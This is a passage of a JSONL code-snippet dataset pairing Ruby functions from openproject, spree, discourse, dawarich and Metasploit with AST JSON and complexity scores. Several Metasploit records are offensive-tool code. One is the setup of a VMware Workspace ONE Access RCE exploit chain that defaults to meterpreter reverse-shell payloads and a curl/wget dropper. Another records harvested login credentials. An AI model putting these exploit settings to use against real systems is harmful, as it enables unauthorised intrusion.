ym\",\"children\":[\"slug\"]},{\"type\":\"str\",\"children\":[\"bulk_assign_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_action_status\"]},{\"type\":\"lvar\",\"children\":[\"user_action_status\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.success_message\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_bulk_assign_role_index_path\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_bulk_assign_role_index_path\"]}]}]}]},null]}]}","id":"31a404d9-8371-4770-928b-91f212aa311a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/components/cost_reports/index_page_header_component.rb","start_line":63,"raw_source":"def current_section\n return @current_section if defined?(@current_section)\n\n @current_section = CostReports::Menu\n .new(project: @project, params:)\n .selected_menu_group\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_section\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_section\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_section\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_section\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostReports\"]},\"Menu\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},\"selected_menu_group\"]}]}]}]}","id":"7b15e4dc-e698-4513-853b-ab1d7d2574f5"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server.rb","start_line":434,"raw_source":"def get_uri(cli=self.cli)\n resource = get_resource\n\n # The resource won't exist until the server is started\n return unless resource\n\n ssl = !!(datastore[\"SSL\"])\n proto = (ssl ? \"https://\" : \"http://\")\n if datastore['URIHOST']\n host = datastore['URIHOST']\n elsif (cli and cli.peerhost)\n host = Rex::Socket.source_address(cli.peerhost)\n else\n host = srvhost_addr\n end\n\n if Rex::Socket.is_ipv6?(host)\n host = \"[#{host}]\"\n end\n\n if datastore['URIPORT'] && datastore['URIPORT'] != 0\n port = ':' + datastore['URIPORT'].to_s\n elsif (ssl and datastore[\"SRVPORT\"] == 443)\n port = ''\n elsif (!ssl and datastore[\"SRVPORT\"] == 80)\n port = ''\n else\n port = \":\" + datastore[\"SRVPORT\"].to_s\n end\n\n uri = proto + host + port + resource\n\n uri\n end","complexity_score":77.73,"ast_json":"{\"type\":\"def\",\"children\":[\"get_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cli\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ssl\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]}]},\"!\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"srvhost_addr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}","id":"95ad445a-6624-4bb5-b4e6-39ecda7a66c8"}
+{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":48,"raw_source":"def valid?(asset)\n asset.dig('exifInfo', 'latitude') &&\n asset.dig('exifInfo', 'longitude') &&\n asset.dig('exifInfo', 'dateTimeOriginal')\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asset\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"latitude\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"longitude\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"dateTimeOriginal\"]}]}]}]}","id":"4e23d7b0-e24c-4f99-8d4d-fb26fb7e2fd8"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb","start_line":24,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',\n 'Description' => %q{\n This module combines two vulnerabilities in order achieve remote code execution in the context of the\n `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in\n OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the\n authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC\n injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker\n to deserialize arbitrary Java objects which can allow remote code execution.\n },\n 'Author' => [\n 'mr_me', # Discovery & PoC\n 'jheysel-r7' # Metasploit Module\n ],\n 'References' => [\n ['CVE', '2022-22956'],\n ['CVE', '2022-22957'],\n ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],\n ['URL', 'https://github.com/sourceincite/hekate/'],\n ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']\n ],\n 'DisclosureDate' => '2022-04-06',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X64],\n 'Type' => :linux_dropper,\n 'CmdStagerFlavor' => %i[curl wget],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'Payload' => {\n 'BadChars' => \"\\x22\"\n },\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true,\n 'LPORT' => 5555\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware Workspace ONE Access VMSA-2022-0011 exploit chain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module combines two vulnerabilities in order achieve remote code execution in the context of the\\n\"]},{\"type\":\"str\",\"children\":[\" `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in\\n\"]},{\"type\":\"str\",\"children\":[\" OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the\\n\"]},{\"type\":\"str\",\"children\":[\" authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC\\n\"]},{\"type\":\"str\",\"children\":[\" injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker\\n\"]},{\"type\":\"str\",\"children\":[\" to deserialize arbitrary Java objects which can allow remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mr_me\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-22956\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-22957\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/sourceincite/hekate/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/security/advisories/VMSA-2022-0011.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/python/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"curl\"]},{\"type\":\"sym\",\"children\":[\"wget\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"int\",\"children\":[5555]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]}]}","id":"a7b72954-13fd-4837-af69-49a0d41ec3f8"}
+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order_updater.rb","start_line":131,"raw_source":"def update_shipment_state\n if order.backordered?\n order.shipment_state = 'backorder'\n else\n # get all the shipment states for this order\n shipment_states = shipments.states.uniq\n\n order.shipment_state = if shipment_states.size > 1\n if shipment_states.include?('shipped')\n 'partial'\n elsif shipment_states.include?('pending')\n 'pending'\n else\n 'ready'\n end\n else\n # will return nil if no shipments are found\n shipment_states.first\n # TODO: inventory unit states?\n # if order.shipment_state && order.inventory_units.where(shipment_id: nil).exists?\n # shipments exist but there are unassigned inventory units\n # order.shipment_state = 'partial'\n # end\n end\n end\n\n order.state_changed('shipment')\n order.shipment_state\n end","complexity_score":28.45,"ast_json":"{\"type\":\"def\",\"children\":[\"update_shipment_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"backordered?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state=\",{\"type\":\"str\",\"children\":[\"backorder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shipment_states\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"states\"]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"include?\",{\"type\":\"str\",\"children\":[\"shipped\"]}]},{\"type\":\"str\",\"children\":[\"partial\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"include?\",{\"type\":\"str\",\"children\":[\"pending\"]}]},{\"type\":\"str\",\"children\":[\"pending\"]},{\"type\":\"str\",\"children\":[\"ready\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"first\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"state_changed\",{\"type\":\"str\",\"children\":[\"shipment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state\"]}]}]}","id":"bfef9d5e-4860-496c-9faf-550b5e05328d"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":86,"raw_source":"def attributes\n super.tap do |data|\n data[:removed_topic_id] = object.topic_id unless object.topic\n\n if object.target.present?\n # Automatically add the target id as a \"good name\" for example a target_type of `User`\n # becomes `user_id`\n data[:\"#{object.target_type.downcase}_id\"] = object.target_id\n end\n\n if self.class._payload_for_serialization.present?\n data[:payload] = (object.payload || {}).slice(*self.class._payload_for_serialization)\n end\n end\n end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"removed_topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_type\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_payload_for_serialization\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"payload\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_payload_for_serialization\"]}]}]}]},null]}]}]}]}","id":"981c6930-0e0b-4226-b81f-bb66a4ebbc70"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb","start_line":92,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n last_attempted_at: Time.now,\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"p